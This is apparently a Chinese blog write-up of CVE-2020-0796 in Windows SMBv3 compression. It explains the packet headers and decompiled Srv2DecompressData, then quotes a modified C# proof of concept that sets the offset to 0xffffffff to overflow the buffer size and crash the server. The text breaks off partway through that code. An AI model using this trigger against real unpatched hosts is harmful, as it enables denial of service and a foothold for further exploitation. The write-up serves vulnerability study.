最近看了一些关于SMB的分析文章,准备总结一下,主要介绍SMB协议在前段时间出的CVE-2020-0796相关漏洞。下面简单介绍一下SMB的相关知识。
SMB协议参考官方文档给的说明,大致作用如下,SMB版本1.0协议实现必须实现CIFS协议,而CIFS再往下就可以由TCP实现,大部分功能是文件系统的功能,端口在445端口,具体内容可以参考文档协议示例部分
客户端系统使用通用网络文件系统(CIFS)协议通过网络从服务器系统请求文件和打印服务。SMB则是对此协议的扩展,提供了附加的安全性,文件和磁盘管理支持。这些扩展不会改变CIFS协议的基本消息顺序,但会引入新的标志,扩展的请求和响应以及新的信息级别。
之前爆出的SMB漏洞主要是在SMB2之后的版本,SMB协议版本2和3,它们支持在机器之间共享文件和打印资源,并扩展了SMB1。Windows上对应的模块是 srv2.sys
SMB2数据包格式与SMB1完全不同。其所有功能参考官方文档里面 1.3 Overview
部分,连接顺序大致如下
这个漏洞出在SMB2的压缩功能,要使用这个功能首先需要建立基本连接,要建立基本连接首先需要知道这个包是怎么构造出来的,在协议2.1部分说明了包头是如何组成的,协议支持几种传输方式,这里直接按照包格式选用Direct TCP
头即可
其中第三个字段是SMB2Message
,也就是SMB2的消息,这个消息也有一个头结构,在文档[MS-SMB2]的2.2.1部分可以找到,分为同步和异步两种头,拿异步头结构来举例,结构如下
字段长度如下所示,各个字段的意义有点多这里就不贴出来了,可以参考官方文档,非常详细
ProtocolId (4 bytes)
StructureSize (2 bytes)
CreditCharge (2 bytes)
(ChannelSequence/Reserved)/Status (4 bytes)
ChannelSequence (2 bytes)
Reserved (2 bytes)
Status (4 bytes)
Command (2 bytes)
CreditRequest/CreditResons (2 bytes)
Flags (4 bytes)
NextCommand (4 bytes)
MessageId (8 bytes)
AsyncId (8 bytes)
SessionId (8 bytes)
Signature (16 bytes)
有了上面的基础,构造这个SMB2协议包就很简单了,包层次结构如下
Direct TCP header -> SMB2 header -> SMB data
下面需要解决连接顺序,官方文档中可以知道,这个协议初始化阶段有几种类型的包,如下图,图自这里
图中的包在文档里都有对应的结构,感兴趣的朋友可以对应文档看看。
前面提到过这个漏洞存在于srv2.sys
的压缩功能,涉及到的包结构如下,对应文档2.2.42 SMB2 COMPRESSION_TRANSFORM_HEADER
,结合压缩包这个名字,来看理解一下各个字段的含义,第一个字段ProtocolId
固定不变,第二个字段指定原始未压缩数据大小,也就是这块数据有压缩的也有不压缩的,这里是指定不压缩的大小,第三个字段指定压缩算法,第四个为一个标志,不同的标志影响第五个参数的意义,第五个参数这里只用到offset
的意义,表示数据包中压缩数据相对于当前结构的偏移。
借用看雪论坛一位师傅画的图片,非常清晰,结构如下
下面看一下漏洞函数,涉及的函数是Srv2DecompressData
,根据名字可以猜测到,此函数负责解压上面结构的数据,其中会调用到SmbCompressionDecompress
函数负责解压数据,而在这之前会调用SrvNetAllocateBuffer
函数负责申请内存,然而这个函数的参数并没有检查是否溢出,这个函数的参数刚好是original size + Offset
的大小,完全由用户控制,溢出就会申请很小的内存,然而实际后面解压操作的内存比申请的大很多,导致了漏洞的产生。
__int64 __fastcall Srv2DecompressData(__int64 a1) { __int64 v2; // rax __m128i v3; // xmm0 unsigned int Algorithm; // ebp __int64 v7; // rbx MAPDST int v8; // eax __m128i Size; // [rsp+30h] [rbp-28h] int v10; // [rsp+60h] [rbp+8h] BYREF v10 = 0; v2 = *(_QWORD *)(a1 + 240); if ( *(_DWORD *)(v2 + 36) < 0x10u ) return 0xC000090Bi64; Size = *(__m128i *)*(_QWORD *)(v2 + 24); v3 = _mm_srli_si128(Size, 8); // 4 bytes + 4 bytes // offset + compression algorithm Algorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64); if ( Algorithm != v3.m128i_u16[0] ) return 0xC00000BBi64; v7 = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v3.m128i_i32[1]), 0i64);// original size + Offset if ( !v7 ) return 0xC000009Ai64; if ( (int)SmbCompressionDecompress( Algorithm, *(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + Size.m128i_u32[3] + 0x10i64, (unsigned int)(*(_DWORD *)(*(_QWORD *)(a1 + 240) + 36i64) - Size.m128i_i32[3] - 0x10), Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18), Size.m128i_i32[1], &v10) < 0 || (v8 = v10, v10 != Size.m128i_i32[1]) ) { SrvNetFreeBuffer(v7); return 0xC000090Bi64; } if ( Size.m128i_i32[3] ) { memmove( *(void **)(v7 + 0x18), (const void *)(*(_QWORD *)(*(_QWORD *)(a1 + 240) + 24i64) + 0x10i64), Size.m128i_u32[3]); // Offset v8 = v10; } *(_DWORD *)(v7 + 36) = Size.m128i_i32[3] + v8; Srv2ReplaceReceiveBuffer(a1, v7); return 0i64; }
有几种方式构造,Python最为方便,我测试的时候C#、C、Python都试过,其中C#最为复杂,不过也最为官方,使用的是微软提供的一套协议测试框架,不过zecops已经有人写好了,在这里可以找到,其模板参考synacktiv之前发的文章,改动了大致下面几个文件和内容,需要注意的是,在编译的时候需要安装指定.NET
版本并提前编译好一些模块,然后导入才可以正常编译后续的exe
Smb2CompressedPacketed.cs // 修改包类型
Smb2ClientTransport.cs // 修改指定压缩算法
Smb2Compression.cs // 修改压缩函数实现触发
Smb2CompressionForChained.cs // 删除此文件指定第五字段为offset
下面是synacktiv发出来的部分代码,直接写在了Smb2Compression.cs
里面
// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common { /// <summary> /// SMB2 Compression Utility. /// </summary> public static class Smb2Compression { private static uint i = 0; /// <summary> /// Compress SMB2 packet. /// </summary> /// <param name="packet">The SMB2 packet.</param> /// <param name="compressionInfo">Compression info.</param> /// <param name="role">SMB2 role.</param> /// <param name="offset">The offset where compression start, default zero.</param> /// <returns></returns> public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0) { var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role); /*if (compressionAlgorithm == CompressionAlgorithm.NONE) { return packet; }*/ // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login) if (i < 3) { i++; return packet; } var packetBytes = packet.ToBytes(); var compressor = GetCompressor(compressionAlgorithm); // HACK: Insane length to trigger the integrer overflow offset = 0xffffffff; var compressedPacket = new Smb2CompressedPacket(); compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader; compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length; compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm; compressedPacket.Header.Reserved = 0; compressedPacket.Header.Offset = offset; compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray(); compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray()); var compressedPackectBytes = compressedPacket.ToBytes(); // HACK: force compressed packet to be sent return compressedPacket; // Check whether compression shrinks the on-wire packet size // if (compressedPackectBytes.Length < packetBytes.Length) // { // compressedPacket.OriginalPacket = packet; // return compressedPacket; // } // else // { // return packet; // } } } } namespace Microsoft.Protocols.TestManager.BranchCachePlugin { class Program { static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info) { Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds)); client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }; // NEGOTIATION is done in "plaintext", this is the call within UserLogon: // client.Negotiate( // 0, // 1, // Packet_Header_Flags_Values.NONE, // messageId++, // new DialectRevision[] { DialectRevision.Smb311 }, // SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED, // Capabilities_Values.NONE, // clientGuid, // out selectedDialect, // out gssToken, // out header, // out negotiateResp, // preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression // compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 } // ); if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp)) return; // From now on, we compress every new packet client.CompressionInfo.CompressAllPackets = true; // Get tree information about a remote share (which does not exists)